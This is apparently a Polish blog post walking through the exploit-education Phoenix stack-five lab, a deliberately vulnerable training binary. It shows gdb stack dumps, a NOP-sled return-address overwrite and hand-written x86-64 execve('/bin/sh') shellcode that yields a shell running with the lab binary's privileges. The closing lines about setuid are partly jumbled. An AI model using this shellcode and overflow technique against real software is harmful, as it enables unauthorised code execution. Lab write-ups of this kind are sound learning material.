Gdybym miałbym wybrać pracę
za dowolnie jaką płacę
chciałbym zostać pentesterem
hackować NASA moim tosterem
Jak to piszę jest godzina 23:33 zimowego czasu polskiego - poszedłbym już sobie słodko spać gdyby nie fakt, że mam już prawie ukończone hackme, które jest moim nemesis - stack5 ze Phoenix (exploit-education). Tego wyzwania podjąłem się praktycznie zaraz po dowiedzeniu się o nim z jednego z tutoriali LiveOverflow, czyli jakieś pół roku temu. Nie potrafiąc rozwiązać zadania, rzuciłem je. Teraz, kiedy wzięło mnie na uczenie się assemblera x86-64, postanowiłem ponownie podejść do zadania.
Welcome to phoenix/stack-five, brought to you by https://exploit.education
If you’re happy and you know it, segmentation fault. If you’re happy and you know it, segmentation fault. If you’re happy and you know it, and you really want to show it, if you’re happy and you know it, segmentation fault.
Segmentation fault
Mając odrobinę wiedzy więcej niż wcześniej, zacząłem od stworzenia prostego skryptu w pythonie, który generował by mi ciąg kolejnychliter alfabetu w zależności od podanej długości
#!/usr/bin/python
import sys
alphabet = 'abcdefghijklmnopqrstuvwyzABCDEFGHIJKLMNOPQRSTUVWYZ'
num = int(sys.argv[1])
for c in alphabet[:num]:
sys.stdout.write(c*8)
Pozwoli mi to łatwo zobaczyć, gdzie są umieszczane dane na stosie. Jak widać, nie jest to coś skomplikowanego, ale na tą potrzebę starcza.
./alphabet.py 16 | ./amd64/stack-five
Segmentation fault
./alphabet.py 15 | ./amd64/stack-five
Program się nie wykrzaczył - zapiszę sobie output do jakiegoś pliku,
żeby w vimie przy pomocy :%!xxd
sobie później dopisać potrzebne dane.
mkdir stack5
./alphabet.py 15 > stack5/payload
Szybki teścik - ./amd64/stack-five < stack5/payload
działa.
Pora na najlepszego przyjaciela programisty - debuggera. Debugując już stack-five
poraz n-ty, (gdzie n jest liczbą większą od liczby odcinków Mody na Sukces) wiem,
że instrukcja po wywołaniu gets()
ma adres start_level+20
(gdb) b *start_level+20
Breakpoint 1 at 0x4005d1
(gdb) r < stack5/payload
Starting program: /opt/phoenix/amd64/stack-five < stack5/payload
Welcome to phoenix/stack-five, brought to you by https://exploit.education
Breakpoint 1, 0x00000000004005d1 in start_level ()
(gdb) x/18xg $rsp
0x7fffffffe5b0: 0x6161616161616161 0x6262626262626262
0x7fffffffe5c0: 0x6363636363636363 0x6464646464646464
0x7fffffffe5d0: 0x6565656565656565 0x6666666666666666
0x7fffffffe5e0: 0x6767676767676767 0x6868686868686868
0x7fffffffe5f0: 0x6969696969696969 0x6a6a6a6a6a6a6a6a
0x7fffffffe600: 0x6b6b6b6b6b6b6b6b 0x6c6c6c6c6c6c6c6c
0x7fffffffe610: 0x6d6d6d6d6d6d6d6d 0x6e6e6e6e6e6e6e6e
0x7fffffffe620: 0x6f6f6f6f6f6f6f6f 0x00007fffffffe600
0x7fffffffe630: 0x00007fffffffe650 0x00000000004005f7
(gdb)
Widać tutaj wyraźnie input i trzy jakieś liczby.
Pierwszy wskazuje jakoś na końcówkę bufora, drugi jest wartością poprzedniego
adresu podstawy ramki, trzeci jest adresem powrotu do main()
.
Po zastąpieniu pierwszej na 0x4141414141414141 (czytaj: ‘AAAAAAAA’) w sumie nic
ważnego się nie dzieje - niby jest segfault, ale dopiero pod koniec maina.
Następną wartość trzeba by było zmienić na coś sensownego - w przeciwnym wypadku
w trakcie wychodzenia z start_level
pojawi się znowu segfault. Najlepiej najbliższym
adresem na stos.
Adres powrotu - gwóźdź programu - trzeba nakierować na shellcode, którego wpisaliśmy,
czyli na stos.
Mechanikę zjeżdżalni można użyć tutaj - zamiast
dokładnego adresu shellcode’u, wstawić adres środka sporego ciągu instrukcji NOP,
na którego końcu jest nasz kod. Mówi się, że NOP nic nie robi, ale pamiętajcie, że
wskaźnik instrukcji sam się nie zinkrementuje. Na końcu tej ‘zjeżdżalni’ będzie
xCC, czyli instrukcja breakpoint - ta magiczna wartość, która przerywa działanie
programu i oddaje go debuggerowi (no chyba, że go nie ma, wtedy proces jest po
prostu zabijany :> ).
:%!xxd -r
, :w
i jedziemy dalej
Starting program: /opt/phoenix/amd64/stack-five < stack5/payload
Welcome to phoenix/stack-five, brought to you by https://exploit.education
Breakpoint 1, 0x00000000004005d1 in start_level ()
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x00007fffffffe680 in ?? ()
(gdb)
Czuję się niczym magik, mimo, że nie zrobiłem niczego odkrywczego. Co się stanie gdy będę chciał odpalić ten program poza debuggerem?
:!./amd64/stack-five < stack5/payload
Welcome to phoenix/stack-five, brought to you by https://exploit.education
/bin/bash: line 1: 603 Trace/breakpoint trap ./amd64/stack-five < stack5/payload
shell returned 133
Press ENTER or type command to continue
Do szczęścia potrzeba tak niewiele :) Nadszedł czas na amunicję grubego kalibru - własny shellcode. Dlatego, że mam obraz Phoenix w wersji x86-64, muszę też stworzyć 64-bitową binarkę.
bits 64
call LULZ
db "/bin/sh", 0
LULZ:
mov rax, 59
pop rdi
xor rsi, rsi
xor rdx, rdx
syscall
Dla niewtajemniczonych:
call LULZ
wrzuca na stos adres rzeczy, która jest zaraz za nim i robi skok do LULZ,
mov rax, 59
execve() jest numerem odwołaniem systemowym numer 59
pop rdi
poprzednio wrzucony “/bin/sh” na stos zostaje zdjęte do rejestru rdi
xor rsi, rsi
zerowanie rejestru
syscall
- magia
:!yasm shellcode.asm
:read shellcode
Trzeba pamiętać jeszcze o usunięciu kodu xCC i znaku nowej linii
r < stack5/payload
Starting program: /opt/phoenix/amd64/stack-five < stack5/payload
Welcome to phoenix/stack-five, brought to you by https://exploit.education
Breakpoint 1, 0x00000000004005d1 in start_level ()
(gdb) c
Continuing.
process 614 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
[Inferior 1 (process 614) exited normally]
Próba poza gdb niestety zakończyła się niepowodzeniem. Prawdopodobnie zbyt mała
zjeżdżalnia albo zła wartość powrotu. Ale na tym się zatrzymałem za pierwszym
podejściem w tamtym roku, teraz MUSZĘ to zrobić!
Druga próba - illegal instruction. Coś mi mówi, że jestem blisko.
Trzecia próba - przesło gładko. Zwiększyłem długość nop slide i troszkę
skorygowałem adres powrotu. NARESZCIE!
svu@unassigned:~$ (cat stack5/payload; cat) | ./amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
whoami
phoenix-amd64-stack-five
id
uid=1000(svu) gid=1000(svu) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth),1000(svu)
hmm… powłoka działa, ale program
Nevermind, tak było w poprzedniku Phoenixa, czyli Protostar, teraz uid jest po
uruchomieniu programu ustawione na stack-five
jest ma setuid, czyli ustawia
proces uruchamia się jako root, czyli powłoka też powinna być roota.phoenix-amd64-stack-five
I tak, wiem, że zamiast
(cat stack5/payload; cat) | ./amd64/stack-five
mogłem napisać
cat stack5/payload - | ./amd64/stack-five
«EOF